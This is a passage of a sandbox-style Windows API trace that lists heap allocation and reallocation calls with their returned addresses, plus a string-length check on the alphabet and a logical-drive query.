(Heap=0x5c0000, Flags=0x0, Ptr=0x605258, Size=0x20) returned 0x5feb60 [0094.455] RtlReAllocateHeap (Heap=0x5c0000, Flags=0x0, Ptr=0x5feb60, Size=0x40) returned 0x5da468 [0094.455] lstrlenW (lpString="ABCDEFGHIJKLMNOPQRSTUVWXYZ") returned 26 [0094.455] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xd0) returned 0x5dc038 [0094.455] GetLogicalDrives () returned 0x4 [0094.455] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x10014) returned 0x607700 [0094.455] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x10) returned 0x605330 [0094.455] RtlReAllocateHeap (Heap=0x5c0000, Flags=0x0, Ptr=0x605330, Size=0x20) returned 0x5fe7a0 [0094.455] RtlReAllocateHeap (Heap=0x5c0000, Flags=0x0, Ptr=0x5fe7a0, Size=0x40) returned 0x5da270 [0094.455] RtlReAllocateHeap (Heap=0x5c0000, Flags=0x0, Ptr=0x5da270, Size=0x80) returned 0x6041e8 [0094.455] RtlReAllocateHeap (Heap=0x5c0000, Flags=0x0, Ptr=0x6041e8, Size=0x100) returned 0x605fd0 [0094.455] RtlReAllocateHeap (Heap=0x5c0000, Flags=0x0, Ptr=0x605fd0, Size=0x200) returned 0x605fd0 [0094.455] RtlReAllocateHeap (Heap=0x5c0000, Flags=0x0, Ptr=0x605fd0, Size=0x400) returned 0x605fd0 [0094.455] RtlReAllocateHeap (Heap=0x5c0000, Flags=0x0, Ptr=0x605fd0, Size=0x800) returned 0x617720 [0094.455] RtlReAllocateHeap (Heap=0x5c0000, Flags=0x0, Ptr=0x617720, Size=0x1000) returned 0x617720 [0094.455] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x10000) returned 0x618728 [0094.455] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x10) returned 0x6051e0 [0094.455] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xc) returned 0x6051f8 [0094.455] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x4) returned 0x603260 [0094.455] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xc) returned 0x605228 [0094.455] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x4) returned 0x603180 [0094.455] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xa) returned 0x605348 [0094.455] RtlReAllocateHeap (Heap=0x5c0000, Flags=0x0, Ptr=0x603180, Size=0x8) returned 0x6032b0 [0094.455] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xa) returned 0x605450 [0094.455] RtlReAllocateHeap (Heap=0x5c0000, Flags=0x0, Ptr=0x6032b0, Size=0x10) returned 0x605240 [0094.456] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xa) returned 0x605408 [0094.456] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xa) returned 0x605378 [0094.456] RtlReAllocateHeap (Heap=0x5c0000, Flags=0x0, Ptr=0x605240, Size=0x20) returned 0x5fe7a0 [0094.456] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xa) returned 0x605240 [0094.456] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x8) returned 0x6031b0 [0094.456] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xe) returned 0x605198 [0094.456] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xe) returned 0x605360 [0094.456] RtlReAllocateHeap (Heap=0x5c0000, Flags=0x0, Ptr=0x5fe7a0, Size=0x40) returned 0x5da3d8 [0094.456] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xe) returned 0x605330 [0094.456] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xe) returned 0x6053a8 [0094.456] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xe) returned 0x6053c0 [0094.456] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xe) returned 0x605258 [0094.456] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xa) returned 0x6053f0 [0094.456] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xa) returned 0x605168 [0094.456] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x8) returned 0x6031c0 [0094.456] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xa) returned 0x605180 [0094.456] RtlReAllocateHeap (Heap=0x5c0000, Flags=0x0, Ptr=0x5da3d8, Size=0x80) returned 0x604af0 [0094.456] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xa) returned 0x605270 [0094.456] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xa) returned 0x605288 [0094.456] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xa) returned 0x6052b8 [0094.456] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xa) returned 0x6052e8 [0094.456] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xa) returned 0x605528 [0094.456] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xc) returned 0x605510 [0094.456] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xa) returned 0x6054e0 [0094.456] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x8) returned 0x6032f0 [0094.456] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xa) returned 0x605468 [0094.456] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xa) returned 0x6054b0 [0094.456] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xc) returned 0x6054f8 [0094.456] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xa) returned 0x605498 [0094.456] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xc) returned 0x605480 [0094.456] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xa) returned 0x6054c8 [0094.456] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xc) returned 0x6288c8 [0094.456] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xa) returned 0x628898 [0094.456] RtlReAllocateHeap (Heap=0x5c0000, Flags=0x0, Ptr=0x604af0, Size=0x100) returned 0x605fd0 [0094.457] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xa) returned 0x628868 [0094.457] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xa) returned 0x628a18 [0094.457] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xa) returned 0x628940 [0094.457] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x10) returned 0x6289a0 [0094.457] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xa) returned 0x628778 [0094.457] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xa) returned 0x6288e0 [0094.457] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x8) returned 0x6031f0 [0094.457] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xa) returned 0x628a48 [0094.457] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xa) returned 0x628970 [0094.457] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xa) returned 0x628838 [0094.457] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x6) returned 0x603340 [0094.457] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xa) returned 0x6288f8 [0094.457] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xa) returned 0x628880 [0094.457] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x8) returned 0x603180 [0094.457] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xa) returned 0x628988 [0094.457] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xa) returned 0x628a30 [0094.457] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xc) returned 0x6289d0 [0094.457] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xa) returned 0x6289e8 [0094.457] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xa) returned 0x6289b8 [0094.457] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xa) returned 0x628760 [0094.457] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xe) returned 0x628790 [0094.457] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xa) returned 0x628820 [0094.457] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x10) returned 0x628a00 [0094.457] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xa) returned 0x628910 [0094.457] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xa) returned 0x628928 [0094.457] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xa) returned 0x6287a8 [0094.457] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xa) returned 0x6287c0 [0094.457] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x8) returned 0x603270 [0094.457] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xa) returned 0x6287d8 [0094.457] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xa) returned 0x6287f0 [0094.457] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xa) returned 0x6288b0 [0094.457] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xa) returned 0x628808 [0094.457] RtlReAllocateHeap (Heap=0x5c0000, Flags=0x0, Ptr=0x605fd0, Size=0x200) returned 0x605fd0 [0094.458] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xa) returned 0x628850 [0094.458] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x8) returned 0x603200 [0094.458] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xa) returned 0x628958 [0094.458] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xa) returned 0x628a60 [0094.458] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xa) returned 0x628d30 [0094.458] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xa) returned 0x628a78 [0094.458] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xa) returned 0x628c28 [0094.458] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xa) returned 0x628bf8 [0094.458] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xa) returned 0x628ca0 [0094.458] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xa) returned 0x628bc8 [0094.458] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xa) returned 0x628ac0 [0094.458] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xc) returned 0x628d48 [0094.458] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xc) returned 0x628a90 [0094.458] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xa) returned 0x628b50 [0094.458] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xa) returned 0x628c88 [0094.458] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xc) returned 0x628ad8 [0094.458] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xc) returned 0x628c58 [0094.458] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xa) returned 0x628b38 [0094.458] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xc) returned 0x628b20 [0094.458] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xc) returned 0x628be0 [0094.458] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xa) returned 0x628aa8 [0094.458] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xa) returned 0x628cd0 [0094.458] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xa) returned 0x628b68 [0094.458] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x8) returned 0x603280 [0094.458] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xa) returned 0x628af0 [0094.458] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xa) returned 0x628b80 [0094.458] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xa) returned 0x628b08 [0094.458] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x8) returned 0x603220 [0094.458] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xa) returned 0x628b98 [0094.459] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xc) returned 0x628c10 [0094.459] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xa) returned 0x628bb0 [0094.459] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xa) returned 0x628c40 [0094.459] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xa) returned 0x628c70 [0094.459] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xa) returned 0x628cb8 [0094.459] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xa) returned 0x628ce8 [0094.459] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xa) returned 0x628d00 [0094.459] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xc) returned 0x628d18 [0094.459] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xc) returned 0x628da8 [0094.459] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xa) returned 0x628f10 [0094.459] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xa) returned 0x628d60 [0094.459] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xa) returned 0x628dc0 [0094.459] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xc) returned 0x628dd8 [0094.459] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xa) returned 0x628ef8 [0094.459] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xa) returned 0x628d90 [0094.459] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xa) returned 0x628df0 [0094.460] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xa) returned 0x628e68 [0094.460] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xa) returned 0x628e08 [0094.460] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xa) returned 0x628e20 [0094.460] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xa) returned 0x628e38 [0094.460] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x8) returned 0x603320 [0094.460] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x6) returned 0x6031d0 [0094.460] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xa) returned 0x628e80 [0094.460] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xa) returned 0x628e50 [0094.460] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xa) returned 0x628ec8 [0094.460] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xa) returned 0x628e98 [0094.460] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xa) returned 0x628eb0 [0094.460] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xc) returned 0x628ee0 [0094.460] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xa) returned 0x628d78 [0094.460] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xa) returned 0x6296a0 [0094.460] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xa) returned 0x6295f8 [0094.460] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xa) returned 0x629610 [0094.460] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xc) returned 0x629700 [0094.460] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xa) returned 0x629670 [0094.460] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xa) returned 0x629658 [0094.460] RtlReAllocateHeap (Heap=0x5c0000, Flags=0x0, Ptr=0x605fd0, Size=0x400) returned 0x605fd0 [0094.460] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xa) returned 0x629628 [0094.460] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xa) returned 0x629640 [0094.460] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xc) returned 0x6296d0 [0094.460] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xa) returned 0x629718 [0094.460] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xa) returned 0x6295e0 [0094.460] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xa) returned 0x629568 [0094.460] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xc) returned 0x629598 [0094.460] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xa) returned 0x6296b8 [0094.460] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xa) returned 0x629688 [0094.460] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xa) returned 0x6296e8 [0094.460] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x8) returned 0x603290 [0094.460] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xa) returned 0x629580 [0094.460] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xc) returned 0x6295c8 [0094.461] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xa) returned 0x6295b0 [0094.461] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xa) returned 0x629250 [0094.461] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xa) returned 0x6290d0 [0094.461] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xa) returned 0x6290a0 [0094.461] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xe) returned 0x629100 [0094.461] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xa) returned 0x6291c0 [0094.461] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xa) returned 0x628fc8 [0094.461] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xa) returned 0x629010 [0094.461] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xa) returned 0x6290b8 [0094.461] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xa) returned 0x628fb0 [0094.461] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xa) returned 0x6290e8 [0094.461] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xa) returned 0x629148 [0094.461] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xa) returned 0x629058 [0094.461] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x8) returned 0x603230 [0094.461] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xa) returned 0x629118 [0094.461] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xa) returned 0x628f98 [0094.462] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xa) returned 0x629220 [0094.462] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xa) returned 0x629088 [0094.462] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xa) returned 0x628f68 [0094.462] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xa) returned 0x628fe0 [0094.462] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xa) returned 0x6291a8 [0094.462] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xa) returned 0x628ff8 [0094.462] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xa) returned 0x629130 [0094.462] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xe) returned 0x629028 [0094.462] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xa) returned 0x629040 [0094.462] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xe) returned 0x6291d8 [0094.462] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xa) returned 0x629208 [0094.462] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xa) returned 0x629070 [0094.462] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xa) returned 0x628f80 [0094.462] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xa) returned 0x629238 [0094.462] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xa) returned 0x629160 [0094.462] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xc) returned 0x6291f0 [0094.462] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xa) returned 0x629178 [0094.462] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xa) returned 0x629190 [0094.462] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xa) returned 0x629340 [0094.462] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xa) returned 0x6294f0 [0094.462] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xa) returned 0x6294a8 [0094.462] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xa) returned 0x629490 [0094.462] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xa) returned 0x629520 [0094.462] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xa) returned 0x629328 [0094.462] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xa) returned 0x6293e8 [0094.462] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xa) returned 0x629538 [0094.462] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xa) returned 0x629370 [0094.462] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xa) returned 0x629448 [0094.462] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xa) returned 0x629358 [0094.462] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xa) returned 0x629550 [0094.462] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xa) returned 0x629460 [0094.462] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xa) returned 0x6294c0 [0094.462] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xa) returned 0x629298 [0094.462] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x10) returned 0x629478 [0094.462] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x12) returned 0x5d56f0 [0094.462] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xa) returned 0x629508 [0094.462] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xa) returned 0x629268 [0094.462] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xa) returned 0x629280 [0094.462] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xa) returned 0x6292b0 [0094.462] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xa) returned 0x6292c8 [0094.462] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xa) returned 0x629310 [0094.462] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xa) returned 0x6294d8 [0094.463] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xa) returned 0x629388 [0094.463] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xa) returned 0x6292e0 [0094.463] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xa) returned 0x6292f8 [0094.463] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xa) returned 0x6293a0 [0094.463] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xa) returned 0x6293b8 [0094.463] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xa) returned 0x6293d0 [0094.463] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xa) returned 0x629400 [0094.463] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xa) returned 0x629418 [0094.463] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xa) returned 0x629430 [0094.463] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xa) returned 0x6297b8 [0094.463] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xa) returned 0x629938 [0094.463] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xa) returned 0x6299e0 [0094.463] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xa) returned 0x629950 [0094.463] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xc) returned 0x629968 [0094.463] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xc) returned 0x629848 [0094.463] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xc) returned 0x6298c0 [0094.464] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xe) returned 0x629980 [0094.464] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xc) returned 0x629788 [0094.464] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x8) returned 0x603250 [0094.464] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xa) returned 0x6299b0 [0094.464] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x8) returned 0x603190 [0094.464] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xa) returned 0x629920 [0094.464] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xa) returned 0x629860 [0094.464] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xa) returned 0x6299c8 [0094.464] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xc) returned 0x6298a8 [0094.464] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xc) returned 0x629a40 [0094.464] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xa) returned 0x6297d0 [0094.464] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xc) returned 0x629830 [0094.464] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xa) returned 0x6297e8 [0094.464] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xa) returned 0x629878 [0094.464] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xc) returned 0x629a58 [0094.464] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xa) returned 0x629998 [0094.464] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xc) returned 0x629890 [0094.464] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xc) returned 0x6298d8 [0094.464] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xa) returned 0x6299f8 [0094.464] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x8) returned 0x6032b0 [0094.464] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xa) returned 0x629800 [0094.464] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xa) returned 0x629a10 [0094.464] RtlReAllocateHeap (Heap=0x5c0000, Flags=0x0, Ptr=0x605fd0, Size=0x800) returned 0x629f48 [0094.465] lstrlenW 